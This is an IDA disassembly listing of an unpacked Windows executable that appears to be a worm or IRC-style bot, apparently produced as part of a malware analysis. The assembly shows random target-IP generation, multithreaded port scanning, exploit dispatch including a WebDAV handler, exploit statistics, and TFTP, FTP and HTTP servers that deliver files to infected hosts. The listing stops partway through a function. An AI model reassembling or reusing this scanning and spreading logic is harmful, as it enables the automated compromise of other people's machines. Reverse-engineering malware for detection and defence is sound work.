;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	C2450BFB2E868CC4FA72ECFD51377CFD

; File Name   :	u:\work\c2450bfb2e868cc4fa72ecfd51377cfd_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 0001D8C4 ( 121028.)
; Section size in file		: 0001D8C4 ( 121028.)
; Offset to raw	data for section: 00001000
; Flags	E0000020: Text Executable Readable Writable
; Alignment	: default


unicode		macro page,string,zero
		irpc c,<string>
		db '&c', page
		endm
		ifnb <zero>
		dw zero
		endif
endm

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
_text		segment	para public 'CODE' use32
		assume cs:_text
		;org 401000h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401000	proc near		; CODE XREF: sub_4078FA+4834p

var_400		= byte ptr -400h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		push	ebx
		push	edi
		lea	eax, [ebp+var_200]
		push	offset aScanExploitSta ; "[SCAN]: Exploit Statistics:"
		push	eax
		xor	ebx, ebx
		call	sub_412BB5
		cmp	dword_42A068, ebx
		pop	ecx
		pop	ecx
		mov	edi, 200h
		jz	short loc_40106E
		push	esi
		mov	esi, offset dword_42A070


loc_401033:				; CODE XREF: sub_401000+6Bj
		mov	eax, [esi]
		push	eax
		add	ebx, eax
		lea	eax, [esi-26h]
		push	eax
		lea	eax, [ebp+var_400]
		push	offset aSD	; " %s:	%d,"
		push	eax
		call	sub_412BB5
		push	edi
		lea	eax, [ebp+var_400]
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_412A80
		add	esi, 3Ch
		add	esp, 1Ch
		cmp	dword ptr [esi-8], 0
		jnz	short loc_401033
		pop	esi


loc_40106E:				; CODE XREF: sub_401000+2Bj
		push	dword_479BB0
		call	sub_40FD16
		push	eax
		push	ebx
		lea	eax, [ebp+var_400]
		push	offset aTotalDInS_ ; " Total: %d in %s."
		push	eax
		call	sub_412BB5
		push	edi
		lea	eax, [ebp+var_400]
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_412A80
		push	0
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4045DD
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_401C33
		add	esp, 38h
		pop	edi
		pop	ebx
		leave
		retn
sub_401000	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4010CA	proc near		; CODE XREF: sub_4078FA+4154p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	9
		call	sub_4110DA
		test	eax, eax
		pop	ecx
		jle	short loc_401106
		mov	eax, [ebp+arg_C]
		push	dword_42D700[eax*8]
		call	dword_433520
		push	eax
		lea	eax, [ebp+var_200]
		push	offset aScanCurrentIpS ; "[SCAN]: Current IP: %s."
		push	eax
		call	sub_412BB5
		add	esp, 0Ch
		jmp	short loc_401119
; ---------------------------------------------------------------------------


loc_401106:				; CODE XREF: sub_4010CA+13j
		lea	eax, [ebp+var_200]
		push	offset aScanScanNotAct ; "[SCAN]: Scan not active."
		push	eax
		call	sub_412BB5
		pop	ecx
		pop	ecx


loc_401119:				; CODE XREF: sub_4010CA+3Aj
		push	0
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4045DD
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_401C33
		add	esp, 18h
		leave
		retn
sub_4010CA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401141	proc near		; CODE XREF: sub_4018D1+52p

var_204		= byte ptr -204h
var_4		= byte ptr -4
arg_94		= byte ptr  9Ch
arg_114		= byte ptr  11Ch
arg_194		= dword	ptr  19Ch
arg_1B4		= dword	ptr  1BCh
arg_1BC		= dword	ptr  1C4h
arg_1C0		= dword	ptr  1C8h

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		mov	eax, [ebp+arg_1B4]
		cmp	eax, 0FFFFFFFFh
		jz	locret_4014F1
		imul	eax, 3Ch
		push	ebx
		xor	ebx, ebx
		cmp	dword_42A074[eax], ebx
		push	esi
		jz	loc_4013DF
		push	5
		call	sub_4110DA
		test	eax, eax
		pop	ecx
		jnz	loc_4014EF
		mov	eax, dword_42AE44
		push	edi
		push	104h
		mov	edi, offset dword_42ED14
		push	edi
		push	ebx
		mov	dword_42EF24, eax
		mov	dword_42EF20, ebx
		call	ds:dword_41F010
		push	103h
		push	offset byte_42AED0
		mov	esi, offset dword_42EE18
		push	esi
		call	sub_412C40
		mov	eax, [ebp+arg_194]
		add	esp, 0Ch
		cmp	[ebp+arg_114], bl
		mov	dword_42ED10, eax
		mov	eax, [ebp+arg_1BC]
		mov	dword_42EFA8, eax
		push	7Fh
		jnz	short loc_4011F4
		lea	eax, [ebp+arg_94]
		push	eax
		push	offset dword_42EF28
		call	sub_412C40
		mov	dword_42EFAC, 1
		jmp	short loc_40120B
; ---------------------------------------------------------------------------


loc_4011F4:				; CODE XREF: sub_401141+94j
		lea	eax, [ebp+arg_114]
		push	eax
		push	offset dword_42EF28
		call	sub_412C40
		mov	dword_42EFAC, ebx


loc_40120B:				; CODE XREF: sub_401141+B1j
		add	esp, 0Ch
		push	esi
		push	edi
		push	dword_42EF24
		lea	eax, [ebp+var_204]
		push	offset aTftpServerStar ; "[TFTP]: Server started on Port: %d, Fil"...
		push	eax
		call	sub_412BB5
		push	ebx
		lea	eax, [ebp+var_204]
		push	5
		push	eax
		call	sub_410EEA
		add	esp, 20h
		mov	dword_42EF1C, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_42ED10
		push	offset sub_410A22
		push	ebx
		push	ebx
		call	ds:dword_41F00C
		mov	ecx, dword_42EF1C
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43434C[ecx], eax
		jnz	loc_401327
		call	ds:dword_41F008
		push	eax
		lea	eax, [ebp+var_204]
		push	offset aTftpFailedToSt ; "[TFTP]: Failed to start server, error: "...
		push	eax
		call	sub_412BB5
		add	esp, 0Ch


loc_40128A:				; CODE XREF: sub_401141+1EEj
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_401C33
		pop	ecx
		call	ds:dword_41F004
		xor	edx, edx
		mov	ecx, 0F82Fh
		div	ecx
		push	104h
		mov	edi, offset dword_42EA6C
		push	edi
		push	ebx
		mov	dword_42EC78, ebx
		add	edx, 400h
		mov	dword_42EC7C, edx
		call	ds:dword_41F010
		push	103h
		push	offset byte_42AED0
		mov	esi, offset dword_42EB70
		push	esi
		call	sub_412C40
		mov	eax, [ebp+arg_194]
		add	esp, 0Ch
		cmp	[ebp+arg_114], bl
		mov	dword_42EA68, eax
		mov	eax, [ebp+arg_1BC]
		mov	dword_42ED00, eax
		push	7Fh
		jnz	short loc_401334
		lea	eax, [ebp+arg_94]
		push	eax
		push	offset dword_42EC80
		call	sub_412C40
		mov	dword_42ED04, 1
		jmp	short loc_40134B
; ---------------------------------------------------------------------------


loc_40131F:				; CODE XREF: sub_401141+1ECj
		push	32h
		call	ds:dword_41F000


loc_401327:				; CODE XREF: sub_401141+128j
		cmp	dword_42EFB0, ebx
		jz	short loc_40131F
		jmp	loc_40128A
; ---------------------------------------------------------------------------


loc_401334:				; CODE XREF: sub_401141+1BFj
		lea	eax, [ebp+arg_114]
		push	eax
		push	offset dword_42EC80
		call	sub_412C40
		mov	dword_42ED04, ebx


loc_40134B:				; CODE XREF: sub_401141+1DCj
		add	esp, 0Ch
		push	esi
		push	edi
		push	dword_42EC7C
		push	dword_42EA68
		call	sub_406C33
		pop	ecx
		push	eax
		lea	eax, [ebp+var_204]
		push	offset aFtpServerStart ; "[FTP]: Server	started	on: %s:%d, File: "...
		push	eax
		call	sub_412BB5
		push	ebx
		lea	eax, [ebp+var_204]
		push	6
		push	eax
		call	sub_410EEA
		add	esp, 24h
		mov	dword_42EC74, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_42EA68
		push	offset sub_402B1D
		push	ebx
		push	ebx
		call	ds:dword_41F00C
		mov	ecx, dword_42EC74
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43434C[ecx], eax
		pop	edi
		jnz	short loc_4013D2
		call	ds:dword_41F008
		push	eax
		push	offset aFtpFailedToSta ; "[FTP]: Failed	to start server, error:	<"...
		jmp	loc_4014D3
; ---------------------------------------------------------------------------


loc_4013CA:				; CODE XREF: sub_401141+297j
		push	32h
		call	ds:dword_41F000


loc_4013D2:				; CODE XREF: sub_401141+276j
		cmp	dword_42ED08, ebx
		jz	short loc_4013CA
		jmp	loc_4014E2
; ---------------------------------------------------------------------------


loc_4013DF:				; CODE XREF: sub_401141+25j
		cmp	dword_42A078[eax], ebx
		jz	loc_4014EF
		push	4
		call	sub_4110DA
		test	eax, eax
		pop	ecx
		jnz	loc_4014EF
		push	104h
		mov	esi, offset dword_42E944
		push	esi
		push	ebx
		call	ds:dword_41F010
		push	5Ch
		push	esi
		call	sub_412C10
		cmp	eax, ebx
		pop	ecx
		pop	ecx
		jz	short loc_40141D
		mov	[eax], bl


loc_40141D:				; CODE XREF: sub_401141+2D8j
		mov	eax, dword_42AE48
		mov	dword_42EA48, eax
		lea	eax, [ebp+arg_94]
		push	eax
		push	offset dword_42E6BC
		mov	dword_42EA5C, ebx
		call	sub_412BB5
		mov	eax, [ebp+arg_194]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_1BC]
		push	esi
		push	dword_42EA48
		mov	dword_42EA54, ecx
		mov	ecx, [ebp+arg_1C0]
		push	eax
		mov	dword_42E6B8, eax
		mov	dword_42EA58, ecx
		call	sub_406C33
		pop	ecx
		push	eax
		lea	eax, [ebp+var_204]
		push	offset aHttpdServerLis ; "[HTTPD]: Server listening on IP: %s:%d,"...
		push	eax
		call	sub_412BB5
		push	ebx
		lea	eax, [ebp+var_204]
		push	4
		push	eax
		call	sub_410EEA
		add	esp, 20h


loc_401495:				; DATA XREF: .data:off_42BB98o
					; .data:off_42C450o
		mov	dword_42EA50, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_42E6B8
		push	offset sub_403E06
		push	ebx
		push	ebx
		call	ds:dword_41F00C
		mov	ecx, dword_42EA50
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43434C[ecx], eax
		jnz	short loc_4014FB
		call	ds:dword_41F008
		push	eax
		push	offset aHttpdFailedToS ; "[HTTPD]: Failed to start server, error:"...


loc_4014D3:				; CODE XREF: sub_401141+284j
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_412BB5
		add	esp, 0Ch


loc_4014E2:				; CODE XREF: sub_401141+299j
					; sub_401141+3C2j
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_401C33
		pop	ecx


loc_4014EF:				; CODE XREF: sub_401141+35j
					; sub_401141+2A4j ...
		pop	esi
		pop	ebx

locret_4014F1:				; CODE XREF: sub_401141+12j
		leave
		retn
; ---------------------------------------------------------------------------


loc_4014F3:				; CODE XREF: sub_401141+3C0j
		push	32h
		call	ds:dword_41F000


loc_4014FB:				; CODE XREF: sub_401141+384j
		cmp	dword_42EA64, ebx
		jz	short loc_4014F3
		jmp	short loc_4014E2
sub_401141	endp


; =============== S U B	R O U T	I N E =======================================



sub_401505	proc near		; CODE XREF: sub_40169B:loc_4016FDp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		lea	esi, ds:42D700h[esi*8]
		push	dword ptr [esi]
		call	dword_433570
		inc	eax
		push	eax
		call	dword_4335C4
		mov	[esi], eax
		pop	esi
		retn
sub_401505	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401525	proc near		; CODE XREF: sub_40169B+5Ap

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, [ebp+arg_0]
		push	edi
		or	edi, 0FFFFFFFFh
		mov	[ebp+var_4], edi
		mov	[ebp+var_C], edi
		mov	[ebp+var_8], edi
		mov	[ebp+var_10], edi
		lea	ecx, [eax+1]


loc_401541:				; CODE XREF: sub_401525+21j
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_401541
		sub	eax, ecx
		cmp	eax, 0Fh
		jbe	short loc_401556
		xor	eax, eax
		jmp	loc_4015FB
; ---------------------------------------------------------------------------


loc_401556:				; CODE XREF: sub_401525+28j
		push	esi
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	[ebp+arg_0]
		call	sub_412D93
		add	esp, 18h
		cmp	[ebp+var_4], edi
		jnz	short loc_4015A0
		call	sub_412D71
		mov	esi, 0FFh
		jmp	short loc_40158D
; ---------------------------------------------------------------------------


loc_401588:				; CODE XREF: sub_401525+79j
		call	sub_412D71


loc_40158D:				; CODE XREF: sub_401525+61j
		cdq
		mov	ecx, esi
		idiv	ecx
		push	edx
		mov	[ebp+var_4], edx
		call	sub_41013C
		test	al, al
		pop	ecx
		jnz	short loc_401588


loc_4015A0:				; CODE XREF: sub_401525+55j
		cmp	[ebp+var_C], edi
		mov	esi, 100h
		jnz	short loc_4015B7
		call	sub_412D71
		cdq
		mov	ecx, esi
		idiv	ecx
		mov	[ebp+var_C], edx


loc_4015B7:				; CODE XREF: sub_401525+83j
		cmp	[ebp+var_8], edi
		jnz	short loc_4015C7
		call	sub_412D71
		cdq
		idiv	esi
		mov	[ebp+var_8], edx


loc_4015C7:				; CODE XREF: sub_401525+95j
		mov	edx, [ebp+var_10]
		cmp	edx, edi
		pop	esi
		jnz	short loc_4015DD
		call	sub_412D71
		cdq
		mov	ecx, 0FEh
		idiv	ecx
		inc	edx


loc_4015DD:				; CODE XREF: sub_401525+A8j
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		shl	edx, 8
		add	edx, [ebp+var_8]
		shl	edx, 8
		add	edx, [ebp+var_C]
		shl	edx, 8
		add	eax, edx
		mov	dword_42D700[ecx*8], eax


loc_4015FB:				; CODE XREF: sub_401525+2Cj
		pop	edi
		leave
		retn
sub_401525	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4015FE	proc near		; CODE XREF: sub_40169B+A9p
					; sub_4028A8+2Cp

var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 120h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		xor	ebx, ebx
		push	ebx
		inc	edi
		push	edi
		push	2
		mov	[ebp+var_4], edi
		call	dword_4334A0
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_401627
		xor	eax, eax
		jmp	short loc_401696
; ---------------------------------------------------------------------------


loc_401627:				; CODE XREF: sub_4015FE+23j
		mov	eax, [ebp+arg_0]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 2
		mov	[ebp+var_18], eax
		call	dword_4335EC
		mov	[ebp+var_1A], ax
		lea	eax, [ebp+var_4]
		push	eax
		push	8004667Eh
		push	esi
		call	dword_433444
		push	10h
		lea	eax, [ebp+var_1C]
		push	eax
		push	esi
		call	dword_433458
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_C]
		push	eax
		push	ebx
		lea	eax, [ebp+var_120]
		push	eax
		push	ebx
		push	ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_11C], esi
		mov	[ebp+var_120], edi
		call	dword_433544
		push	esi
		mov	edi, eax
		call	dword_4335AC
		xor	eax, eax
		cmp	edi, ebx
		setnle	al


loc_401696:				; CODE XREF: sub_4015FE+27j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4015FE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40169B	proc near		; DATA XREF: sub_4018D1+144o

var_3B0		= dword	ptr -3B0h
var_394		= dword	ptr -394h
var_390		= byte ptr -390h
var_380		= byte ptr -380h
var_300		= dword	ptr -300h
var_2FC		= byte ptr -2FCh
var_27C		= byte ptr -27Ch
var_270		= dword	ptr -270h
var_26C		= dword	ptr -26Ch
var_268		= dword	ptr -268h
var_260		= dword	ptr -260h
var_25C		= dword	ptr -25Ch
var_254		= byte ptr -254h
var_1D4		= byte ptr -1D4h
var_1C4		= byte ptr -1C4h
var_144		= dword	ptr -144h
var_140		= byte ptr -140h
var_C0		= byte ptr -0C0h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 394h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	74h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_1D4]
		rep movsd
		mov	edi, [ebp+var_2C]
		mov	dword ptr [eax+1CCh], 1
		mov	eax, [ebp+var_28]
		mov	[ebp+var_4], edi
		mov	[ebp+arg_0], eax
		call	ds:dword_41F004
		push	eax
		call	sub_412D64
		mov	ebx, edi
		pop	ecx
		imul	ebx, 234h
		jmp	loc_4018AD
; ---------------------------------------------------------------------------


loc_4016E7:				; CODE XREF: sub_40169B+220j
		cmp	[ebp+var_10], 0
		push	eax
		jz	short loc_4016FD
		lea	eax, [ebp+var_1D4]
		push	eax
		call	sub_401525
		pop	ecx
		jmp	short loc_401702
; ---------------------------------------------------------------------------


loc_4016FD:				; CODE XREF: sub_40169B+51j
		call	sub_401505


loc_401702:				; CODE XREF: sub_40169B+60j
		pop	ecx
		push	[ebp+arg_0]
		mov	esi, eax
		push	dword_43433C[ebx]
		push	[ebp+var_3C]
		push	esi
		call	dword_433520
		push	eax
		lea	eax, [ebp+var_254]
		push	offset aScanIpSDScanTh ; "[SCAN]: IP: %s:%d, Scan thread: %d, Sub"...
		push	eax
		call	sub_412BB5
		lea	eax, [ebp+var_254]
		push	eax
		lea	eax, dword_434138[ebx]
		push	eax
		call	sub_412BB5
		push	[ebp+var_38]
		push	[ebp+var_3C]
		push	esi
		call	sub_4015FE
		add	esp, 2Ch
		cmp	eax, 1
		jnz	loc_4018A2
		cmp	[ebp+var_20], 0FFFFFFFFh
		jnz	short loc_4017D6
		push	offset dword_42E6A0
		call	ds:dword_41F01C
		push	[ebp+var_3C]
		push	esi
		call	dword_433520
		push	eax
		lea	eax, [ebp+var_254]
		push	offset aScanIpSPortDIs ; "[SCAN]: IP: %s, Port %d is open."
		push	eax
		call	sub_412BB5
		add	esp, 10h
		cmp	[ebp+var_14], 0
		jnz	short loc_4017B8
		cmp	[ebp+var_C0], 0
		push	1
		push	[ebp+var_18]
		lea	eax, [ebp+var_254]
		push	eax
		lea	eax, [ebp+var_C0]
		jnz	short loc_4017AC
		lea	eax, [ebp+var_140]


loc_4017AC:				; CODE XREF: sub_40169B+109j
		push	eax
		push	[ebp+var_40]
		call	sub_4045DD
		add	esp, 14h


loc_4017B8:				; CODE XREF: sub_40169B+EEj
		lea	eax, [ebp+var_254]
		push	eax
		call	sub_401C33
		mov	[esp+3B0h+var_3B0], offset dword_42E6A0
		call	ds:dword_41F018
		jmp	loc_4018A2
; ---------------------------------------------------------------------------


loc_4017D6:				; CODE XREF: sub_40169B+BEj
		push	esi
		call	dword_433520
		push	eax
		lea	eax, [ebp+var_390]
		push	eax
		call	sub_412BB5
		mov	eax, [ebp+var_20]
		imul	eax, 3Ch
		add	eax, offset aWebdav ; "webdav"
		push	eax
		lea	eax, [ebp+var_27C]
		push	eax
		call	sub_412BB5
		add	esp, 10h
		cmp	[ebp+var_C0], 0
		lea	eax, [ebp+var_C0]
		jnz	short loc_40181A
		lea	eax, [ebp+var_140]


loc_40181A:				; CODE XREF: sub_40169B+177j
		push	eax
		lea	eax, [ebp+var_2FC]
		push	eax
		call	sub_412BB5
		mov	eax, [ebp+var_144]
		pop	ecx
		mov	[ebp+var_300], eax
		pop	ecx
		xor	eax, eax


loc_401837:				; CODE XREF: sub_40169B+1ADj
		mov	cl, [ebp+eax+var_1C4]
		mov	[ebp+eax+var_380], cl
		inc	eax
		test	cl, cl
		jnz	short loc_401837
		mov	eax, [ebp+var_40]
		mov	[ebp+var_394], eax
		mov	eax, [ebp+var_18]
		mov	[ebp+var_260], eax
		mov	eax, [ebp+var_14]
		mov	[ebp+var_25C], eax
		mov	eax, [ebp+var_3C]
		mov	[ebp+var_270], eax
		mov	eax, [ebp+var_20]
		mov	[ebp+var_268], eax
		imul	eax, 3Ch
		sub	esp, 140h
		push	50h
		pop	ecx
		mov	[ebp+var_26C], edi
		lea	esi, [ebp+var_394]
		mov	edi, esp
		rep movsd
		call	off_42A06C[eax]
		mov	edi, [ebp+var_4]
		add	esp, 140h


loc_4018A2:				; CODE XREF: sub_40169B+B4j
					; sub_40169B+136j
		push	7D0h
		call	ds:dword_41F000


loc_4018AD:				; CODE XREF: sub_40169B+47j
		mov	eax, dword_43433C[ebx]
		cmp	dword_42D704[eax*8], 0
		jnz	loc_4016E7
		push	edi
		call	sub_4111AE
		pop	ecx
		push	0
		call	ds:dword_41F014
		int	3		; Trap to Debugger
sub_40169B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=74h


sub_4018D1	proc near		; DATA XREF: sub_4078FA+3C68o
					; sub_4078FA+5643o

var_304		= dword	ptr -304h
var_250		= byte ptr -250h
var_1C0		= dword	ptr -1C0h
var_1BC		= byte ptr -1BCh
var_BC		= dword	ptr -0BCh
var_B8		= dword	ptr -0B8h
var_B0		= dword	ptr -0B0h
var_AC		= dword	ptr -0ACh
var_A8		= dword	ptr -0A8h
var_A4		= dword	ptr -0A4h
var_A0		= dword	ptr -0A0h
var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_84		= dword	ptr -84h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8

		push	ebp
		lea	ebp, [esp-74h]
		sub	esp, 250h
		mov	eax, [ebp+74h+arg_0]
		push	ebx
		push	esi
		push	edi
		push	74h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+74h+var_250]
		rep movsd
		mov	dword ptr [eax+1C8h], 1
		lea	eax, [ebp+74h+var_250]
		push	eax
		call	dword_433514
		mov	ecx, [ebp+74h+var_AC]
		sub	esp, 1D0h
		mov	dword_42D700[ecx*8], eax
		push	74h
		pop	ecx
		lea	esi, [ebp+74h+var_250]
		mov	edi, esp
		rep movsd
		call	sub_401141
		xor	ebx, ebx
		add	esp, 1D0h
		cmp	[ebp+74h+var_1C0], ebx
		jnz	short loc_401943
		mov	eax, dword_432FF4
		mov	[ebp+74h+var_1C0], eax


loc_401943:				; CODE XREF: sub_4018D1+65j
		push	9
		call	sub_4110DA
		xor	edi, edi
		inc	edi
		cmp	eax, edi
		pop	ecx
		jnz	short loc_4019B3
		mov	esi, offset dword_42E6A0
		push	esi
		call	ds:dword_41F024
		push	80000400h
		push	esi
		call	ds:dword_41F020
		test	eax, eax
		jnz	short loc_4019B3
		lea	eax, [ebp+74h+var_80]
		push	offset aScanFailedToIn ; "[SCAN]: Failed to initialize critical	s"...
		push	eax
		call	sub_412BB5
		cmp	[ebp+74h+var_90], ebx
		pop	ecx
		pop	ecx
		jnz	short loc_40199D
		push	ebx
		push	[ebp+74h+var_94]
		lea	eax, [ebp+74h+var_80]
		push	eax
		lea	eax, [ebp+74h+var_1BC]
		push	eax
		push	[ebp+74h+var_BC]
		call	sub_4045DD
		add	esp, 14h


loc_40199D:				; CODE XREF: sub_4018D1+B0j
		lea	eax, [ebp+74h+var_80]
		push	eax
		call	sub_401C33
		pop	ecx
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		add	ebp, 74h
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_4019B3:				; CODE XREF: sub_4018D1+7Fj
					; sub_4018D1+9Bj
		cmp	[ebp+74h+var_A0], edi
		mov	eax, [ebp+74h+var_AC]
		mov	esi, ds:dword_41F000
		mov	dword_42D704[eax*8], edi
		jb	loc_401A64


loc_4019CC:				; CODE XREF: sub_4018D1+18Dj
		push	edi
		push	[ebp+74h+var_AC]
		lea	eax, [ebp+74h+var_250]
		push	[ebp+74h+var_B8]
		mov	[ebp+74h+var_A4], edi
		push	eax
		lea	eax, [ebp+74h+var_80]
		push	offset aScanSDScanThre ; "[SCAN]: %s:%d, Scan thread: %d, Sub-thr"...
		push	eax
		call	sub_412BB5
		push	ebx
		lea	eax, [ebp+74h+var_80]
		push	9
		push	eax
		call	sub_410EEA
		mov	ecx, [ebp+74h+var_AC]
		mov	[ebp+74h+var_A8], eax
		imul	eax, 234h
		add	esp, 24h
		push	ebx
		push	ebx
		mov	dword_43433C[eax], ecx
		lea	eax, [ebp+74h+var_250]
		push	eax
		push	offset sub_40169B
		push	ebx
		push	ebx
		call	ds:dword_41F00C
		mov	ecx, [ebp+74h+var_A8]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43434C[ecx], eax
		jnz	short loc_401A7B
		call	ds:dword_41F008
		push	eax
		lea	eax, [ebp+74h+var_80]
		push	offset aScanFailedToSt ; "[SCAN]: Failed to start worker thread, "...
		push	eax
		call	sub_412BB5
		lea	eax, [ebp+74h+var_80]
		push	eax
		call	sub_401C33
		add	esp, 10h


loc_401A56:				; CODE XREF: sub_4018D1+1AFj
		push	1Eh
		call	esi
		inc	edi
		cmp	edi, [ebp+74h+var_A0]
		jbe	loc_4019CC


loc_401A64:				; CODE XREF: sub_4018D1+F5j
		cmp	[ebp+74h+var_B0], ebx
		jz	short loc_401A89
		mov	eax, [ebp+74h+var_B0]
		imul	eax, 0EA60h
		push	eax
		call	esi
		jmp	short loc_401A96
; ---------------------------------------------------------------------------


loc_401A77:				; CODE XREF: sub_4018D1+1ADj
		push	1Eh
		call	esi


loc_401A7B:				; CODE XREF: sub_4018D1+162j
		cmp	[ebp+74h+var_84], ebx
		jz	short loc_401A77
		jmp	short loc_401A56
; ---------------------------------------------------------------------------


loc_401A82:				; CODE XREF: sub_4018D1+1C3j
		push	7D0h
		call	esi


loc_401A89:				; CODE XREF: sub_4018D1+196j
		mov	eax, [ebp+74h+var_AC]
		cmp	dword_42D704[eax*8], 1
		jz	short loc_401A82


loc_401A96:				; CODE XREF: sub_4018D1+1A4j
		push	[ebp+74h+var_B0]
		mov	eax, [ebp+74h+var_AC]
		push	[ebp+74h+var_B8]
		mov	eax, dword_42D700[eax*8]
		push	eax
		call	dword_433520
		push	eax
		lea	eax, [ebp+74h+var_80]
		push	offset aScanFinishedAt ; "[SCAN]: Finished at %s:%d after %d minu"...
		push	eax
		call	sub_412BB5
		add	esp, 14h
		cmp	[ebp+74h+var_90], ebx
		jnz	short loc_401ADE
		push	ebx
		push	[ebp+74h+var_94]
		lea	eax, [ebp+74h+var_80]
		push	eax
		lea	eax, [ebp+74h+var_1BC]
		push	eax
		push	[ebp+74h+var_BC]
		call	sub_4045DD
		add	esp, 14h


loc_401ADE:				; CODE XREF: sub_4018D1+1F1j
		lea	eax, [ebp+74h+var_80]
		push	eax
		call	sub_401C33
		mov	eax, [ebp+74h+var_AC]
		mov	dword_42D704[eax*8], ebx
		mov	[esp+290h+var_304], 0BB8h
		call	esi
		push	9
		call	sub_4110DA
		cmp	eax, 1
		pop	ecx
		jnz	short loc_401B12
		push	offset dword_42E6A0
		call	ds:dword_41F024


loc_401B12:				; CODE XREF: sub_4018D1+234j
		push	[ebp+74h+var_AC]
		call	sub_4111AE
		pop	ecx
		push	ebx
		call	ds:dword_41F014
		int	3		; Trap to Debugger
sub_4018D1	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_401B23	proc near		; CODE XREF: sub_4078FA+32B1p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		mov	edi, offset dword_479030


loc_401B2D:				; CODE XREF: sub_401B23+4Dj
		cmp	byte ptr [edi],	0
		jz	short loc_401B74
